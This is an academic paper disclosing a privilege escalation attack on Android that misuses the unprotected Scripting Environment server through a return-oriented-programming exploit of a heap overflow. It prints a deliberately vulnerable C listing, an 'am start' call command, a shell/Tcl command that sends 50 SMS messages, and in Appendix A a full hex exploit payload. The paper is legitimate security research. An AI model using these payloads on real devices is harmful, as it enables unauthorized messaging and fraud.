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Abstract. Android is a modern and popular software platform for smart-
phones. Among its predominant features is an advanced security model
which is based on application-oriented mandatory access control and
sandboxing. This allows developers and users to restrict the execution of
an application to the privileges it has (mandatorily) assigned at instal-
lation time. The exploitation of vulnerabilities in program code is hence
believed to be confined within the privilege boundaries of an application’s
sandbox. However, in this paper we show that a privilege escalation at-
tack is possible. We show that a genuine application exploited at runtime
or a malicious application can escalate granted permissions. Our results
immediately imply that Android’s security model cannot deal with a
transitive permission usage attack and Android’s sandbox model fails as
a last resort against malware and sophisticated runtime attacks.

1 Introduction

Mobile phones play an important role in today’s world and have become an
integral part of our daily life as one of the predominant means of communica-
tion. Smartphones are increasingly prevalent and adept at handling more tasks
from web-browsing and emailing, to multimedia and entertainment applications
(games, videos, audios), navigation, trading stocks, and electronic purchase.
However, the popularity of smartphones and the vast number of the correspond-
ing applications makes these platforms also more attractive targets to attackers.
Currently, various forms of malware exist for smartphone platforms, also for An-
droid [32, 6]. Moreover, advanced attack techniques, such as code injection [16],
return-oriented programming (ROP) [28] and ROP without returns [4] affect ap-
plications and system components at runtime. As a last resort against malware
and runtime attacks, well-established security features of today’s smartphones
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are application sandboxing and privileged access to advanced functionality. Re-
sources of sandboxed applications are isolated from each other, additionally, each
application can be assigned a bounded set of privileges allowing an application
to use protected functionality. Hence, if an application is malicious or becomes
compromised, it is only able to perform actions which are explicitly allowed
in the application’s sandbox. For instance, a malicious or compromised email
client may access the email database as it has associated privileges, but it is not
permitted to access the SMS database.

Android implements application sandboxing based on an application-oriented
mandatory access control. Technically, this is realized by assigning each appli-
cation its own UserID and a set of permissions, which are fixed at installation
time and cannot be changed afterwards. Permissions are needed to access system
resources or to communicate with other applications. Android checks correspond-
ing permission assignments at runtime. Hence, an application is not allowed to
access privileged resources without having the right permissions.

However, in this paper we show that Android’s sandbox model is concep-
tually flawed and actually allows privilege escalation attacks. While Android
provides a well-structured permission system, it does not protect against a tran-
sitive permission usage, which ultimately results in allowing an adversary to
perform actions the application’s sandbox is not authorized to do. Note that
this is not an implementation bug, but rather a fundamental flaw. In particular,
our contributions are as follows:

– Privilege escalation attacks: We describe the conceptual weakness of An-
droid’s permission mechanism that may lead to privilege escalation attacks
(Section 3). Basically, Android does not deal with transitive privilege usage,
which allows applications to bypass restrictions imposed by their sandboxes.

– Concrete attack scenario: We instantiate the permission escalation at-
tack and present the details of our implementation (Section 4). In particular,
in our attack a non-privileged and runtime-compromised application is able
to bypass restrictions of its sandbox and to send multiple text messages to a
phone number chosen by the adversary. Technically, for runtime compromise
we use a recent memory exploitation technique, return-oriented program-
ming without returns [7, 4], which bypasses memory-protection mechanisms
and return-address checkers and hence assumes a strong adversary model.

As a major result, our findings imply that Android’s sandbox model practi-
cally fails in providing confinement boundaries against runtime attacks. Because
the permission system does not include checks for transitive privilege usage,
attackers are able to escape out of Android’s sandbox.

2 Android

Before we elaborate on our attack, we briefly describe the architecture of Android
and its security mechanisms.



2.1 Android Architecture

Android is an open source software platform for mobile devices. It includes a
Linux kernel, middleware framework, and core applications. The Linux kernel
provides low-level services to the rest of the system, such as networking, storage,
memory, and processing. A middleware layer consists of native Android libraries
(written in C/C++), an optimized version of a Java Virtual Machine called
Dalvik Virtual Machine (DVM), and core libraries written in Java. The DVM
executes binaries of applications residing in higher layers. Android applications
are written in Java and consist of separated modules, so-called components.
Components can communicate to each other and to components of other appli-
cations through an inter component communication (ICC) mechanism provided
by the Android middleware called Binder3.

As Android applications are written in Java, they are basically protected
against standard buffer overflow attacks [1] due to the implicit bound checking.
However, Java-applications can also access C/C++ code libraries via the Java
Native Interface (JNI). Developers may use JNI to incorporate own C/C++ li-
braries into the program code, e.g., due to performance reasons. Moreover, many
C libraries are mapped by default to fixed memory addresses in the program
memory space. Due to the inclusion of C/C++ libraries, the security guarantees
provided by the Java programming language do not hold any longer. In partic-
ular, Tan and Croft [30] identified various vulnerabilities in native code of the
JDK (Java Development Kit).

2.2 Android Security Mechanisms

Discretionary Access Control (DAC). The DAC mechanism is inherited
from Linux, which controls access to files by process ownership. Each running
process (i.e., subject) is assigned a UserID, while for each file (i.e., object) access
rules are specified. Each file is assigned access rules for three sets of subjects:
user, group and everyone. Each subject set may have permissions to read, write
and execute a file.

Sandboxing. Sandboxing isolates applications from each other and from
system resources. System files are owned by either the “system” or “root” user,
while other applications have own unique identifiers. In this way, an application
can only access files owned by itself or files of other applications that are explicitly
marked as readable/writable/executable for others.

Permission Mechanism. The permission mechanism is provided by the
middleware layer of Android. A reference monitor enforces mandatory access
control (MAC) on ICC calls. Security sensitive interfaces are protected by stan-
dard Android permissions such as PHONE CALLS, INTERNET, SEND SMS
meaning that applications have to possess these permissions to be able to per-
form phone calls, to access the Internet or to send text messages. Additionally,
applications may declare custom types of permission labels to restrict access to

3 Binder in Android is a reduced custom implementation of OpenBinder [20]



own interfaces. Required permissions are explicitly specified in a Manifest file
and are approved at installation time based on checks against the signatures of
the applications declaring these permissions and on user confirmation.

At runtime, when an ICC call is requested by a component, the reference
monitor checks whether the application of this component possesses appropriate
permissions. Additionally, application developers may place reference monitor
hooks directly into the code of components to verify permissions granted to the
ICC call initiator.

Component Encapsulation. Application components can be specified as
public or private. Private components are accessible only by components within
the same application. When declared as public, components are reachable by
other applications as well, however, full access can be limited by requiring calling
applications to have specified permissions.

Application Signing. Android uses cryptographic signatures to verify the
origin of applications and to establish trust relationships among them. Therefore,
developers have to sign the application code. This allows to enable signature-
based permissions, or to allow applications from the same origin (i.e., signed by
the same developer) to share the same UserID. A certificate of the signing key
can be self-signed and does not need to be issued by a certification authority.
The certificate is enclosed into the application installation package such that the
signature made by the developer can be validated at installation time.

3 Privilege Escalation Attack on Android

In this section, we describe security deficiencies of Android’s permission mecha-
nism, which may lead to privilege escalation attacks instantiated by compromised
applications. We state the problem like following:

An application with less permissions (a non-privileged caller) is not restricted
to access components of a more privileged application (a privileged callee).

In other words, Android’s security architecture does not ensure that a caller
is assigned at least the same permissions as a callee.

Figure 1 shows the situation in which privilege escalation attack becomes
possible. Applications A, B and C are assumed to run on Android, each of them
is isolated in its own sandbox. A has no granted permissions and consists of com-
ponents CA1 and CA2 . B is granted a permission p1 and consists of components
CB1 and CB2 . Neither CB1 nor CB2 are protected by permission labels and thus
can be accessed by any application. Both, CB1 and CB2 can access components
of external applications protected with the permission label p1 , since in general
all application components inherit permissions granted to their application. C
has no permissions granted, it consists of components CC1 and CC2 . CC1 and
CC2 are protected by permission labels p1 and p2 , respectively, that means that
CC1 can be accessed only by components of applications which possess p1 , while
CC2 is accessible by components of applications granted permission p2 .

As we can see in Figure 1, component CA1 is not able to access CC1 com-
ponent, since p1 permission is not granted to the application A. Nevertheless,
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Fig. 1. Privilege escalation attack on Android

data from component CA1 can reach component CC1 indirectly, via the CB1

component. Indeed, CB1 can be accessed by CA1 since CB1 is not protected by
any permission label. In turn, CB1 is able to access CC1 component since the
application B and consequently all its components are granted p1 permission.

To prevent the attack described above, the application B must enforce addi-
tional checks on permissions to ensure that the application calling CB1 compo-
nent is granted a permission p1 . Generally, it can be done by means of reference
monitor hooks included in the code of the component. However, the problem
is that the task to perform these checks is delegated to application developers,
instead of being enforced by the system in a centralized way. This is an error-
prone approach as application developers in general are not security experts, and
hence their applications may fail to implement necessary permission checks.

3.1 A Study Example

In the following we describe a proof-of-concept example that has been intro-
duced in [10]. It was shown as an example of a poorly-designed application, but
essentially it relies on privilege escalation. The attack exploits a vulnerability
of a core Android application, namely Phone, and allows to make unauthorized
phone calls.

The discovered (and later fixed) vulnerability of the Phone application was
like following: It had an unprotected component which provided an interface to
other applications to make phone calls. To map this attack example to Figure 1,
one could see the Phone application as the application B , while the system
interface protected by a system permission PHONE CALLS can be represented
as the application C . The role of the application A can be taken by any non-
privileged application, e.g., by the Activity Manager. The Activity Manager
could access the unprotected component of the Phone application when it was
invoked from the shell console with the following command:

am s t a r t −a android . i n t e n t . a c t i on .CALL t e l :1234

As a result, the phone dialed the specified number. In this example, the
unprivileged application Activity Manager (am) was able to perform an unau-
thorized phone call.



4 Instantiation of our Privilege Escalation Attack

In this section we introduce our own proof-of-concept example of a permission
escalation attack. We describe an attack scenario, assumptions and provide a
detailed description of our attack implementation.

4.1 Attack Scenario and Assumptions

In our attack scenario a user downloads a non-malicious, but vulnerable applica-
tion from the Internet, for example a game that has a memory bug, e.g., suffers
from a buffer overflow vulnerability. During the installation, the user grants to
the game the permission to access the Internet, e.g., for sharing high-scores with
friends. The adversary’s goal is to send text messages via SMS to a specified
premium-rate number each time when the user saves the game state. To achieve
his goals, the adversary exploits the vulnerability of the application and performs
a privilege escalation attack in order to gain a permission to sent messages.

Note that in such an attack scenario the user most likely will not suspect
the game in performing malicious actions since the application was not granted
permissions to send text messages. This is different from the first known An-
droid Trojan application [6], a media player which sends text messages in the
background to premium-rate numbers, because it required the user to approve
the SEND SMS permission at installation time.

We assume that the victim’s device is not jailbroken, but it has installed the
Android Scripting Environment (ASE) application v2.0 (ase r20) including a Tcl
script interpreter. ASE is not a core Android application, but it is developed by
Google developers and can be freely downloaded from the ASE homepage4. It
enables support of scripting languages on the platform and might be required by
many other applications, thus we expect ASE to be installed on many platforms5.
Moreover, we assume the user installs an application that suffers from a heap
overflow vulnerability6. Note that exploiting heap overflow vulnerabilities is a
standard attack vector of today’s adversaries [22]. The user also assigns to the
vulnerable application the permission to access the Internet7.

4.2 Android Scripting Environment

Our example of a privilege escalation attack relies on a vulnerability of the An-
droid Scripting Environment (ASE) application. ASE brings high-level scripting
languages into the Android platform for rapid development. It provides script
interpreters for various scripting languages: BeanShell, Tcl, JRuby, Lua, Perl,
Python and Rhino. ASE has permissions to send messages, make phone calls,
read contacts, get access to Bluetooth and camera, and many others.

4 http://code.google.com/p/android-scripting/.
5 For reference, ASE v2.0 has been downloaded 6185 times.
6 Alternatively, we could rely on malware installed on the user platform since Android

does not enforce tight control over code distribution.
7 Over 60 % of Android applications require the INTERNET permission [2].



ASE is realized as a client-server application. The server part is responsible
for command interpretation and execution, while a client is just a front-end
which communicates to the server via socket connection in order to pass shell
commands. The client is implemented as an executable file which can be executed
by any application (i.e., it has executable rights for “everyone”). When invoked,
the client process is assigned the same UserID as the invoking application, thus it
automatically inherits its permissions. Because the client establishes the socket
connection to the ASE server, the invoking application must be assigned the
INTERNET permission, otherwise the establishment of the socket connection
will fail.

The server part of ASE is implemented as an application component. The
vulnerability of the ASE application resides here, as access to this component is
not protected by any permissions. Without restrictions, non-privileged applica-
tions can access the server and pass arbitrary shell commands to be executed.
ASE server fails to perform any additional security checks to ensure that invok-
ing applications are granted appropriate permissions to perform the requested
operations. As a result, any malicious/compromised application is able to misuse
the ASE application to perform a wide range of unauthorized operations such
as making calls, sending text messages, tracing phone location and others.

We tried out our attack with the scripting languages Perl, Lua, Python and
Tcl. Our experiments show that the corresponding client executables for all these
languages have execution permissions for everyone. However, in contrast to Tcl,
the script languages Perl, Lua and Python additionally make use of libraries,
which are only accessible by the ASE application itself. This means that Perl,
Lua and Python cannot be invoked by any other application except ASE without
additional manipulations on access rights of their libraries. Thus, for our privilege
escalation attack we use Tcl script interpreter.

4.3 Attack Technique

We exploit an application with a heap overflow vulnerability in order to mount
our privilege escalation attack. For this, we utilize the powerful attack tech-
nique called return-oriented programming (ROP) without returns, which has
been recently introduced for Intel x86 and ARM [4]. It allows us to induce ar-
bitrary program behavior by chaining various small instruction sequences from
linked system libraries. We selected this technique because it allows us to assume
a strong adversary. In contrast to conventional ROP, ROP without returns by-
passes return-address checkers (e.g., [31, 5, 13, 8]), since it relies on indirect jumps
rather than returns. Moreover, as any other ROP technique in general, it cannot
be prevented by memory protection schemes such as W ⊕ X (Writable XOR
Executable) [15, 21] which prevents code injection attacks by marking memory
pages either writable or executable. In the following, we briefly describe the
basics of ROP without returns.

Return-oriented programming without returns. Figure 2 illustrates the general
ROP attack based on indirect jump instructions. It shows a simplified version
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of a program’s memory layout consisting of a code section, libraries (lib), a data
section and a control structure section (CS)8. In order to mount a ROP attack
based on indirect jumps, the adversary exploits a buffer overflow vulnerability of
a specific program. Hence, the adversary is able to overflow the local buffer and
overwrite adjacent control-flow information of the CS section (step 1). In Fig-
ure 2, the adversary injects multiple jump addresses whereas program execution
is redirected to code (i.e., to an instruction sequence) located at jump address 1
in the lib section (step 2). The instruction sequence of the linked library is exe-
cuted until a jump instruction has been reached which redirects the execution to
the next sequence of instructions by using a trampoline (step 3). The trampoline
is also part of the linked libraries and is responsible for loading the address of
the next instruction sequence from the CS section and redirecting execution to it
(step 4). This procedure is repeated until the adversary terminates the program.

The attack for ARM [7] architectures uses the BLX (Branch-Link-Exchange)
instruction as jump instruction. BLX is used in ordinary programs for indirect
subroutine calls. It enforces a branch to a jump address stored in a particular
register, while the return address is loaded to the link register lr. Further, if
required, it enables an exchange of the instruction set from ARM to THUMB9

and vice versa.

4.4 Attack Implementation

We launched the attack on a device emulator hosting Android Platform 2.0 and
also on a real device (Android Dev Phone 2 with Android Platform 1.6). Here
we present details for the emulator-based version.

Vulnerable Application. Our vulnerable application is a standard Java appli-
cation using the JNI to include a native library containing C/C++ code. The
included C/C++ code is shown in the listing below and is mainly based on

8 In practice, the data and CS section are usually both a part of the program stack.
9 ARM supports the 32-bit ARM instruction set and a 16-bit instruction set, which

is called THUMB.



the example presented in [4]. The application suffers from a setjmp vulnera-
bility. Generally, setjmp and longjmp are system calls which allow non-local
control transfers. For this setjmp creates a special data structure (referred to
as jmp_buf). The register values from r4 to r1410 are stored in jmp_buf once
setjmp has been invoked. When longjmp is called, registers r4 to r14 are re-
stored to the values stored in the jmp_buf structure. If the adversary is able
to overwrite the jmp_buf structure before longjmp is called, then he is able to
transfer control to code of his choice without corrupting a single return address.

struct f oo
{

char bu f f e r [ 4 6 0 ] ;
jmp buf jb ;

} ;
j i n t Java com example he l l o jn i He l l oJn i doMapFi l e

( JNIEnv∗ env , j o b j e c t t h i z )
{

// A binary f i l e i s opened ( not depic ted )
. . .
struct f oo ∗ f = mal loc ( s izeof ∗ f ) ;
i = setjmp ( f−>jb ) ;
i f ( i !=0) return 0 ;
f g e t s ( f−>buf f e r , sb . s t s i z e , s F i l e ) ;
longjmp ( f−>jb , 2 ) ;

}

The fgets function inserts data provided by a file called binary into a buffer
(located in the structure foo) without enforcing bounds checking. Since the struc-
ture foo also contains the jmp_buf structure, a binary file larger than 460 Bytes
will overwrite the contents of the adjacent jmp_buf structure.

However, our experiments showed that Android enables heap protection for
setjmp buffers by storing a fixed canary and leaving 52 Bytes of space between
the canary and jmp_buf. The canary is hard-coded into libc.so and thus it is de-
vice and process independent. Hence, for an attack we have to take into account
the value of the canary and 52 Bytes space between the canary and jmp_buf.

Attack Workflow. Our attack workflow is shown in Figure 3: When the code of
the native library is invoked through the JNI, we exploit the setjmp vulnerability
by means of a heap overflow and launch a ROP Attack without returns (step 1).
Afterwards we invoke (by using several gadgets) the Tcl client with a command
to send 50 text messages (step 2). The Tcl client, running on behalf of the
vulnerable application, establishes a socket connection to the ASE Tcl server
component (step 3). The Tcl client communicates with the ASE Tcl server and
passes Tcl commands to be executed. Since the Tcl server does not check the
permissions of the Tcl client, the adversary is able to send text messages (step 4),
although the vulnerable Java application has never been authorized to do so.

Interpreter Command. For our attack, the gadget chain should redirect execu-
tion to the standard libc system function to invoke the Tcl client executable
tclsh so that Tcl commands can be executed. However, we identified that an

10 Thus, the setjmp buffer includes the stack pointer r13 and the link register r14

which holds the return address, which is later loaded into the program counter r15.
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ASE specific environment variable AP PORT should be set in order to get the
Tcl interpreter working correctly. Thus, the argument for the system function
essentially includes two shell commands: (1) to set the AP PORT environment
variable and (2) to invoke the Tcl interpreter with a command to send 50 text
messages to the destination phone number 5556 (a second Android instance).
Thus, the whole argument for system looks as follows:

export AP PORT= ’50090 ’ ; echo −e ‘ ‘ package r equ i r e android\n s e t
android [ android new ]\n s e t num ”\ ’5556\ ’”\n s e t message
”Test ” \n f o r { s e t x 0} {$x < 50} { i n c r x} { $android sendTextMessage
$num $message } ’ ’ |/ data/data/com . goog le . ase / t c l s h / t c l s h

Used Instruction Sequences. We supply the explained above interpreter com-
mand as an argument to the system libc function. The system function itself
is invoked by means of ROP without returns. All used instruction sequences
and the corresponding attack steps are shown in Figure 4. First, the adversary
injects the interpreter command and necessary jump addresses into the applica-
tion’s memory space (step 1), initializes a register r6 (so that it points to the first
jump address) and redirects execution to sequence 1 (step 2). Both steps can be
accomplished by a buffer overflow attack on the stack or the heap. As can be also
seen from Figure 4, each sequence ends in the indirect jump instruction BLX r3,
whereas register r3 always points to the trampoline sequence (see Figure 2). This
sequence is referred to as Update-Load-Branch (ULB) sequence [7] and connects
the various sequences with each other. For instance, after instruction 1 of the
sequence 1 loads the ULB address from the stack into r3, instruction 2 enforces
a jump to the ULB sequence (step 3). Afterwards, the ULB sequence updates
r6, loads the second jump address into r5, and finally branches to sequence 2
(step 4). After sequence 2 terminates, the ULB sequence redirects execution to
sequence 3 (step 5 and 6).

In summary, to invoke the system function, we (i) inject jump addresses and
the interpreter command into the application’s memory space, (ii) initialize reg-
ister r6 (ULB sequence); (iii) load r3 with the address of our ULB sequence (Se-



quence 1); (iv) load the address of the interpreter command in r0 (Sequence 2);
(v) finally invoke the libc system function (Sequence 3). The corresponding ma-
licious exploit payload is included into Appendix A of this paper.

system()
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Adversary

ULB Address
sp

expo

rt A

ADDS r0,r4,#0
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Fig. 4. Instruction sequences used in our attack on Android

5 Related Work

The most relevant works to ours are Saint [19], Kirin [10, 11] and TaintDroid [9],
as they can provide some measures against the privilege escalation attack. Saint
is a policy extension which allows application developers to define comprehensive
access control rules for their components. Saint policy is able to describe config-
urations of calling applications, including the set of permissions that the caller
is required to have. Thus, Saint provides a means to protect application inter-
faces such that they cannot be misused for privilege escalation. However, Saint
assumes that access to components is implicitly allowed if no Saint policy exists.
Moreover, Saint policies should be defined by application developers, who are
not in general security experts. We believe, it is an error-prone approach to rely
on developers to defeat privilege escalation attacks by applying Saint policies as
they may either define them incorrectly or fail to define them at all.

Kirin is a tool that analyzes Manifest files (see Section 2) of applications
to ensure that granted permissions comply to a system-wide policy. Kirin can
be used to prohibit installation of applications which request security-critical
combination of permissions [11], or it can analyze a superposition of permissions
granted to all applications installed on a platform [10]. The latter approach allows
detection of applications vulnerable to privilege escalations attacks as it provides
a picture of potential data flows across applications. Nevertheless, as it analyzes
potential data flows (as opposite to real data flows) and cannot judge about
local security enforcements made by applications (by means of reference monitor



hooks), it suffers from false positives. Thus, it is useful for manual analysis, but
cannot provide reliable decisions for automatic security enforcements.

TaintDroid [9] is a sophisticated framework which helps to detect unautho-
rized leakage of sensitive data. TaintDroid employs dynamic taint analysis and
traces the propagation of sensitive data through the system. It alerts the user if
tainted data is going to leave the system at a taint sink (e.g., a network inter-
face). TaintDroid can detect those privilege attacks which result in data leakage,
however, it has no means to detect attacks where no sensitive data is leaked,
e.g., our application scenario in which sending messages cannot be detected.

Apart Kirin, Saint and TaintDroid, a number of other papers has been fo-
cused on Android security aspects. Enck et al. [12] describe Android security
mechanisms in details. Schmidt et al. [24] survey tools which can increase de-
vice security and also introduce an example of Trojan malware for Android [23].
In [18] Nauman et al. propose an extension to Android permission framework
allowing users to approve a subset of permissions the application requires at
installation time, and also specify user defined constraints for each permission.
Chaudhuri [3] presents a core formal language based on type analysis of Java
constructs to describe Android applications abstractly and to reason about their
security properties. Shin et al. [29] formalize Android permission framework
by representing it as a state-based model which can be proven to be secure
with given security requirements by a theorem prover. Barrera et al. [2] pro-
pose a methodology to analyze permission usage by various applications and
provides results of such an analysis for a selection of 1,100 Android applications.
Mulliner [17] presents a technique for vulnerability analysis (programming bugs)
of SMS implementations on different mobile platforms including Android. The
white paper [32] surveys existing malware for Android. Shabtai et al. [27, 26]
provide a comprehensive security assessment of Android security mechanisms
and identify high-risk threats, but do not consider a threat of a privilege escala-
tion attack we describe in this paper. A recent kernel-based privilege escalation
attack [14] shows how to gain root privileges by exploiting a memory-related
vulnerability residing in the Linux kernel. In contrast, our attack does not re-
quire a vulnerability in the Linux kernel, but instead relies on a compromised
(vulnerable or malicious) user space application. Moreover, Shabtai et al. [25]
show how to adopt the Linux Security Module (LSM) framework for the Android
platform, which mitigates kernel-based privilege escalation attacks such as [14].

6 Conclusion

In this paper, we showed that it is possible to mount privilege escalation at-
tacks on the well-established Google Android platform. We identified a severe
security deficiency in Android’s application-oriented mandatory access control
mechanism (also referred as a permission mechanism) that allows transitive per-
mission usage. In our attack example, we were able to escalate privileges granted
to the application’s sandbox and to send a number of text messages (SMS) to a
chosen number without corresponding permissions. For the attack, we subverted



the control flow of a non-privileged vulnerable application by means of a so-
phisticated runtime compromise technique called return-oriented programming
(ROP) without returns [7, 4]. Next, we performed a privilege escalation attack
by misusing a higher-privileged application.

Our attack illustrates the severe problem of Android’s security architecture:
Non-privileged applications can escalate permissions by invoking poorly designed
higher-privileged applications that do not sufficiently protect their interfaces.
Although recently proposed extensions to Android security mechanisms [19, 10,
9] can provide some means to mitigate privilege escalation attacks, non of them
is able to prevent them fully.

In our future work we plan to enhance Android’s security architecture in order
to prevent (as opposite to detect) privilege escalation attacks without relying on
secure development by application developers.
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A Exploit details

The listing below shows the malicious input which exploits the vulnerable pro-
gram and sends out 50 text messages. Arguments start from 0x11bc58, whereas
the first argument (0xaa137287) points to our ULB sequence. Jump addresses
pointing to our instruction sequences start from 0x11bc6c, and the interpreter
command is located at 0x11bc98. The location of the jmp_buf data structure
is at 0x11be5c, which is 52 Bytes away from the canary 0x4278f501. jmp_buf
starts with the address of r4 that we initialize with the address of the interpreter
command. Finally, the last two words in the below listing show the new address
of sp (0x11bc58) and the start address (0xafe13f13) of the first sequence that
will be loaded to pc.

0011BC58 87 72 13 AA 41 41 41 41 41 41 41 41 41 41 41 41 . r . .AAAAAAAAAAAA
0011BC68 41 41 41 41 13 41 01 AA FD 2E E1 AF 41 41 41 41 AAAA.A . . . . . . AAAA
0011BC78 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BC88 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BC98 65 78 70 6F 72 74 20 41 50 5F 50 4F 52 54 3D 27 export AP PORT=’
0011BCA8 35 30 30 39 30 27 3B 20 71 75 6F 74 65 3D 27 22 50090 ’ ; quote=’”
0011BCB8 27 3B 20 65 73 63 3D 27 5C 27 3B 20 64 6F 6C 6C ’ ; e sc = ’\ ’ ; d o l l
0011BCC8 61 72 3D 27 24 27 3B 20 6D 3D 27 6D 65 73 73 61 ar=’$ ’ ; m=’messa
0011BCD8 67 65 27 3B 20 61 3D 27 61 6E 64 72 6F 69 64 27 ge ’ ; a=’android ’
0011BCE8 3B 20 6E 3D 27 6E 75 6D 27 3B 20 78 3D 27 78 27 ; n=’num ’ ; x=’x ’
0011BCF8 3B 20 6C 65 73 73 3D 27 3C 27 3B 20 65 63 68 6F ; l e s s =’< ’; echo
0011BD08 20 2D 65 20 22 70 61 63 6B 61 67 65 20 72 65 71 −e ”package req
0011BD18 75 69 72 65 20 24 61 20 5C 6E 20 73 65 74 20 24 u i r e $a \n se t $
0011BD28 61 20 5B 24 61 20 6E 65 77 5D 20 5C 6E 20 73 65 a [ $a new ] \n se
0011BD38 74 20 24 6E 20 24 71 75 6F 74 65 24 65 73 63 5C t $n $quote$esc\
0011BD48 27 35 35 35 36 24 65 73 63 5C 27 24 71 75 6F 74 ’5556 $esc \ ’ $quot
0011BD58 65 20 5C 6E 20 73 65 74 20 24 6D 20 24 71 75 6F e \n se t $m $quo
0011BD68 74 65 20 54 65 73 74 20 24 71 75 6F 74 65 20 5C te Test $quote \
0011BD78 6E 20 66 6F 72 20 7B 73 65 74 20 24 78 20 30 7D n f o r { s e t $x 0}
0011BD88 20 7B 24 64 6F 6C 6C 61 72 24 78 20 24 6C 65 73 { $do l l a r$x $ l e s
0011BD98 73 20 35 30 7D 20 7B 69 6E 63 72 20 24 78 7D 20 s 50} { i n c r $x}
0011BDA8 7B 24 64 6F 6C 6C 61 72 24 61 20 73 65 6E 64 54 { $do l l a r$a sendT
0011BDB8 65 78 74 4D 65 73 73 61 67 65 20 24 64 6F 6C 6C extMessage $do l l
0011BDC8 61 72 24 6E 20 24 64 6F 6C 6C 61 72 24 6D 7D 22 ar$n $dollar$m}”
0011BDD8 7C 2F 64 61 74 61 2F 64 61 74 61 2F 63 6F 6D 2E |/ data/data/com .
0011BDE8 67 6F 6F 67 6C 65 2E 61 73 65 2F 74 63 6C 73 68 goog le . ase / t c l s h
0011BDF8 2F 74 63 6C 73 68 00 00 41 41 41 41 41 41 41 41 / t c l s h . .AAAAAAAA
0011BE08 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE18 41 41 41 41 41 41 41 41 41 41 41 41 01 F5 78 42 AAAAAAAAAAAA. . xB
0011BE28 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE38 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE48 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE58 41 41 41 41 98 BC 11 00 41 41 41 41 EC BB 11 00 AAAA. . . .AAAA. . . .
0011BE68 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE78 41 41 41 41 41 41 41 41 58 BC 11 00 13 3F E1 AF AAAAAAAAX. . . . ? . .


